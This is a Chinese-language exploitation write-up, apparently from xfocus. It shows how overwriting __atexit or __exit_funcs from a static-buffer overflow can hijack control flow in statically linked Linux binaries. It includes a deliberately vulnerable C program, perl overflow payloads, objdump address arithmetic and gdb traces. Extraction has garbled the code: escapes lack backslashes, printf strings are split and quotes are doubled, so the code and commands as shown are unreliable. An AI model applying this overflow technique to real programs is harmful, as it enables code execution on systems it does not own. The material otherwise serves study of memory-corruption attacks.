原创:alert7(alert7) 
来源:http://www.xfocus.org 
 
        通过覆盖__atexit进行缓冲区溢出攻击的补充 
整理:alert7 
mail:
[email protected] 
主页: http://www.xfocus.org 
前言: 
    如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把 
这篇文章看完,因为..... 
内容细节: 
   今天又重温了一遍warning3翻译整理的《通过覆盖.dtors进行缓冲区溢出攻击》 
把他上面那个bleh.c试着用静态编译做了一道。 
[alert7 @ww alert7 ]$ cat bleh.c 
#include <stdlib.h> 
#include <sys/types.h> 
static void bleh(void); 
int 
main(int argc, char *argv[]) 
{ 
        static u_char buf[] = "bleh"; 
        if (argc < 2) 
                exit(EXIT_FAILURE); 
        strcpy(buf, argv[1]); 
        exit(EXIT_SUCCESS); 
} 
void 
bleh(void) 
{ 
        printf("goffio!
"); 
} 
[alert7 @ww alert7 ]$ gcc -o bleh bleh.c -static 
[alert7 @ww alert7 ]$ objdump -s -j .dtors  bleh 
bleh:     file format elf32-i386 
Contents of section .dtors: 
8078d08 ffffffff 00000000 
确定.dtors中的析构函数的地址为0x08078d08+4 
[alert7 @ww alert7 ]$ objdump --syms bleh | egrep ''text.*bleh'' 
080481d8 l     F .text  00000012 bleh 
bleh函数的地址为0x080481d8 
[alert7 @ww alert7 ]$  objdump -s -j .dtors -j .data bleh|grep bleh 
bleh:     file format elf32-i386 
80777a0 00000000 0c8d0708 00000000 626c6568  ............bleh 
字符串bleh的地址为0x80777a0+12 
所以A的个数为:0x08078d08+4-(0x80777a0+12)=0x1560=5472 
好象一切还挺顺利的,看看攻击能不能成功。 
[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 5472; print "xd8x81x04x08";''`` 
Segmentation fault (core dumped) 
为什么会这样,还是看看core哪个地方出错了。 
[alert7 @ww alert7 ]$ gdb -q bleh core 
Core was generated by ``./bleh 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''. 
Program terminated with signal 11, Segmentation fault. 
#0  0x80482a6 in exit (status=0) at exit.c:42 
exit.c:42: No such file or directory. 
(gdb) bt 
#0  0x80482a6 in exit (status=0) at exit.c:42 
#1  0x80481d0 in main () 
#2  0x804827d in __libc_start_main (main=0x80481a0 <main>, argc=2, 
    argv=0xbfffe8a4, init=0x80480b4 <_init>, fini=0x806f2ec <_fini>, 
    rtld_fini=0, stack_end=0xbfffe89c) at ../sysdeps/generic/libc-start.c:78 
原来是在exit函数里面出错的,是否会联想到在《通过覆盖__atexit进行缓冲区溢出攻击》 
讲到的因为覆盖了__atexit变量使exit函数导致段错误的情况呢。let''s go,看我们来看看。 
[alert7 @ww alert7 ]$ gdb bleh -q 
(gdb) b exit 
Breakpoint 1 at 0x8048298: file exit.c, line 40. 
(gdb) r 
Starting program: /home/alert7 /bleh 
Breakpoint 1, exit (status=1) at exit.c:40 
exit.c:40: No such file or directory. 
(gdb) p __exit_funcs 
$1 = (struct exit_function_list *) 0x80777e0 
我们来把这几个地址按小到大排列一下 
字符串bleh的地址为        0x080777ac 
__exit_funcs的地址为      0x080777e0 
dtors中的析构函数的地址为 0x08078d0c 
减少A的个数,使之够可以覆盖到__exit_funcs的地址就可以了。 
字符串bleh的地址和__exit_funcs的地址相差为52个字节。 
[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 48; print "xd8x81x04x08";''`` 
一切正常,因为还没有覆盖到。 
[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 49; print "xd8x81x04x08";''`` 
Segmentation fault (core dumped) 
覆盖到了一个字节,我们来看看。 
[alert7 @ww alert7 ]$ gdb -q bleh 
(gdb) b exit 
Breakpoint 1 at 0x8048298: file exit.c, line 40. 
(gdb) r ``perl -e ''print "A" x 49; print "xd8x81x04x08";''`` 
Starting program: /home/alert7 /bleh ``perl -e ''print "A" x 49; print "xd8x81x04x08";''`` 
Breakpoint 1, exit (status=0) at exit.c:40 
exit.c:40: No such file or directory. 
(gdb) p __exit_funcs 
$1 = (struct exit_function_list *) 0x80777e0 
(gdb) x/8x 0x80777e0 
0x80777e0 <fnlist>:     0x00000008      0x00000001      0x00000003      0x0806f2ec 
0x80777f0 <fnlist+16>:  0x00000000      0x00000000      0x00000000      0x00000000 
构造了如上的atexit结构(该结构请参考《通过覆盖__atexit进行缓冲区溢出攻击》) 
for (p = __atexit; p; p = p->next) 
                for (n = p->ind; --n >= 0;) 
                        (*p->fns[n])(); 
下一个atexit结构的地址就是0x00000008,该地址为不可访问地址,所以导致了段错误。 
这也说明一个问题,atexit()注册的函数先于dtors中的析构函数执行。 
以上的测试都是在linux上进行的,所以在LINUX上通过覆盖__atexit进行缓冲区溢出攻击, 
还是有可能的,方法跟在freebsd上的相同。请参考那篇文章。在《通过覆盖__atexit进 
行缓冲区溢出攻击》中,我很冒失的说了句“这种攻击在LINUX好象是不可能的吧”, 
为此感到惭愧。 
不致使您也重蹈覆辙,来看看下面的这个演示小程序: 
在linux上 
[alert7 @ww alert7 ]$ cat test.c 
#include <stdio.h> 
extern void * __exit_funcs; 
int main(void) 
        { 
         static char buf1[2]; 
         static char buf[] = "bleh"; 
         static char scbuf[128]; 
         char *mabuf; 
         mabuf = (char *) malloc(128); 
         printf("__exit_funcs                  at %p
", __exit_funcs); 
         printf("malloced                      at %p
", mabuf); 
         printf("static                        at %p
", &scbuf); 
         printf("auto val                      at %p
", &mabuf); 
         printf("static  buf[]="bleh"            at %p
",&buf); 
         printf("static buf1                   at %p
", &buf1); 
     return 0; 
        } 
[alert7 @ww alert7 ]$ gcc -o test test.c -static -g 
[alert7 @ww alert7 ]$ ./test 
__exit_funcs                  at 0x80779a0 
malloced                      at 0x8079c40 
static                        at 0x8078f20 
auto val                      at 0xbffffdc0 
static  buf[]="bleh"          at 0x807796c 
static buf1                   at 0x8078f00 
把他们从小到大排列一下 
static  buf[]="bleh"          at 0x807796c 
__exit_funcs                  at 0x80779a0 
static buf1                   at 0x8078f00 
static                        at 0x8078f20 
malloced                      at 0x8079c40 
auto val                      at 0xbffffdc0 
在freebsd上 
bash-2.05$ cat  test.c 
#include <stdio.h> 
extern void * __atexit; 
int main(void) 
        { 
         static char buf1[2]; 
         static char buf[] = "bleh"; 
         static char scbuf[128]; 
         char *mabuf; 
         mabuf = (char *) malloc(128); 
         printf("__atexit                  at %p
", __atexit); 
         printf("malloced                      at %p
", mabuf); 
         printf("static                        at %p
", &scbuf); 
         printf("auto val                      at %p
", &mabuf); 
         printf("static  buf[]="bleh"            at %p
",&buf); 
         printf("static buf1                   at %p
", &buf1); 
         return 0; 
        } 
bash-2.05$ gcc -o test test.c -static -g 
bash-2.05$ ./test 
__atexit                      at 0x8053060 
malloced                      at 0x8055000 
static                        at 0x8052fe0 
auto val                      at 0xbfbffbec 
static  buf[]="bleh"          at 0x805204c 
static buf1                   at 0x8052fc0 
把他们从小到大排列一下 
static  buf[]="bleh"          at 0x805204c 
static buf1                   at 0x8052fc0 
static                        at 0x8052fe0 
__atexit                      at 0x8053060 
malloced                      at 0x8055000 
auto val                      at 0xbfbffbec 
好了,你也看到了 
static char buf[] = "bleh"这样定义,buf地址就会比__exit_funcs小, 
就有可能覆盖到__exit_funcs 。 
总结: 
   通过覆盖__atexit进行缓冲区溢出攻击的确不失为一种好的方法,好的 
思路,但真正实施起来普遍性不强。因为有问题的程序需要满足如下两个 
条件: 
   1:需要用静态编译。 
   2:需要类似这样定义变量static char buf[] = "bleh", 
      使变量的地址小于__exit_funcs或者(freebsd上__atexit)。 
这两个要求都是比较苛刻的,一般情况下或许找不到这样的问题程序。